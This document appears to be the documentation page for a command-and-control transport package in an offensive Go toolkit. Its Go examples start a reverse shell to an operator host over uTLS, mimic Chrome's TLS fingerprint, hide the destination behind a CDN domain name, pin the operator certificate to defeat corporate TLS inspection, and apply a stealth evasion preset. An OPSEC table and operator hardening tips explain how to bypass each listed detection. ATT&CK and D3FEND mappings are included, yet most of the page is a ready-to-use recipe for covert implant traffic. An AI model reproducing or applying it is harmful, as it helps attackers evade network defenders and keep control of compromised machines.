Transport (TCP / TLS / uTLS)
TL;DR
Pluggable network layer behind every reverse shell or stager. Three
flavours: raw TCP, TLS with optional SHA-256 fingerprint pinning, and
uTLS that emits a TLS ClientHello byte-for-byte identical to Chrome /
Firefox / iOS Safari (defeats JA3/JA4-based detection). Pair with
c2/cert to generate the operator's mTLS material
and pin it on the implant side.
Primer
Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.
This package addresses both. The TLS transport handles encryption
plus optional certificate pinning — the implant refuses to talk to
anyone whose certificate hash does not match a hard-coded value, so
any TLS-inspection middlebox that re-signs traffic with a corporate
CA is dropped. The UTLS transport replaces Go's TLS handshake with
refraction-networking/utls,
which mimics real browser ClientHello bytes — the network monitor sees
"Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint
ClientHello".
How it works
flowchart TD
Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
TCP --> Wire((wire))
TLS --> Wire
UT --> Wire
Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]
All transports implement the same five-method Transport interface:
type Transport interface {
Connect(ctx context.Context) error
Read(p []byte) (int, error)
Write(p []byte) (int, error)
Close() error
RemoteAddr() net.Addr
}
The Listener interface is the operator-side counterpart, used by
c2/multicat to accept agents.
TLS fingerprint pinning
sequenceDiagram
participant Imp as "Implant"
participant MITM as "TLS-inspection proxy"
participant Op as "Operator handler"
Imp->>MITM: ClientHello
MITM->>Op: ClientHello (re-originated)
Op-->>MITM: ServerHello + cert (operator)
MITM-->>Imp: ServerHello + cert (proxy CA-signed)
Imp->>Imp: verifyFingerprint(cert) → mismatch
Imp->>MITM: TLS abort
Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS
variant) holds the operator's certificate hash. The implant rejects
any certificate whose hash does not match — even if the corporate
TLS-inspection CA is in the system trust store.
API Reference
transport.Transport
The five-method interface every transport implements.
transport.New(cfg *Config) (Transport, error)
Factory. Picks TCP or TLS based on Config.UseTLS. uTLS and
malleable variants have dedicated constructors.
transport.NewTCP(address string, timeout time.Duration) *TCP
Raw TCP transport with Connect dial timeout.
transport.NewTLS(address, timeout, certPath, keyPath string, opts ...TLSOption) *TLS
TLS over TCP. Optional TLSOptions set client cert, skip-verify, and
SHA-256 server-cert pin.
transport.NewUTLS(address string, timeout time.Duration, opts ...UTLSOption) *UTLS
uTLS over TCP. Combines a JA3 profile, an SNI, and an optional pin.
transport.JA3Profile and WithJA3Profile
Enum picking which browser to mimic (HelloChrome_Auto,
HelloFirefox_Auto, HelloIOS_Auto, HelloRandomized).
transport.NewTCPListener(addr string) (Listener, error)
Operator-side listener factory. Pair with c2/multicat.
cert.Generate(cfg *Config, certPath, keyPath string) error
Generate a self-signed certificate + RSA private key in PEM at the given paths.
cert.Fingerprint(certPath string) (string, error)
Compute SHA-256 hex digest of the leaf certificate. Hard-code the
output into the implant's PinSHA256.
Examples
Simple
Plain TCP for a localhost or already-tunnelled scenario:
tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
return err
}
_, _ = tr.Write([]byte("hello"))
Composed (TLS + cert pin)
Operator generates a cert and computes its fingerprint:
import "github.com/oioio-space/maldev/c2/cert"
_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant
Implant pins it:
tr := transport.NewTLS(
"operator.example:8443",
10*time.Second,
"", "", // no client cert
transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())
Any TLS-inspection proxy that re-signs the certificate fails the pin check.
Advanced (uTLS with Chrome JA3 + SNI)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())
Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.
Complex (full stack: cert + uTLS + shell + evasion)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
const operatorPin = "AB:CD:..." // SHA-256 hex
_ = evasion.ApplyAll(preset.Stealth(), nil)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(operatorPin),
)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Go-fingerprint TLS ClientHello (JA3) | Zeek ssl.log, JA3-aware NIDS — bypass with NewUTLS + WithJA3Profile |
| Self-signed certificate without trusted chain | Network DLP / TLS-inspection logs — bypass by signing through a real CA on the operator side, or accepting the self-signed flag and pinning |
| Unusual SNI / no SNI | Modern NIDS flag absent or randomised SNIs — set WithSNI to a plausible CDN host |
| Certificate-pin failure on re-signed traffic | This is the desired outcome on the implant side — but the abrupt connection drop is itself a signal |
| Beacon timing / response sizes | Behavioural NIDS clusters periodic short connections — randomise jitter at the shell layer |
D3FEND counters:
- D3-NTA — JA3 / SNI / cert-property correlation.
- D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
- D3-NTPM — egress proxy enforcement.
Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071 | Application Layer Protocol | TLS / uTLS / malleable HTTP | D3-NTA |
| T1573 | Encrypted Channel | TLS family | D3-NTA |
| T1573.002 | Asymmetric Cryptography | mTLS via c2/cert | D3-NTA |
| T1095 | Non-Application Layer Protocol | raw TCP | D3-NTA |
Limitations
- Pin must travel with the implant. A hard-coded SHA-256 in the
binary is recoverable by static analysis. Prefer build-time
injection via
//go:embedfrom a per-campaign cert. - uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
- JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
- Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.
See also
- Reverse shell — primary consumer of the transport layer.
- Meterpreter — pulls stages over
Transport. - Malleable profiles — HTTP-shaped variant on top of any transport.
- Named pipe — local IPC alternative on Windows.
useragent— pair with HTTP transports for realistic User-Agent headers.- refraction-networking/utls
— upstream of
NewUTLS.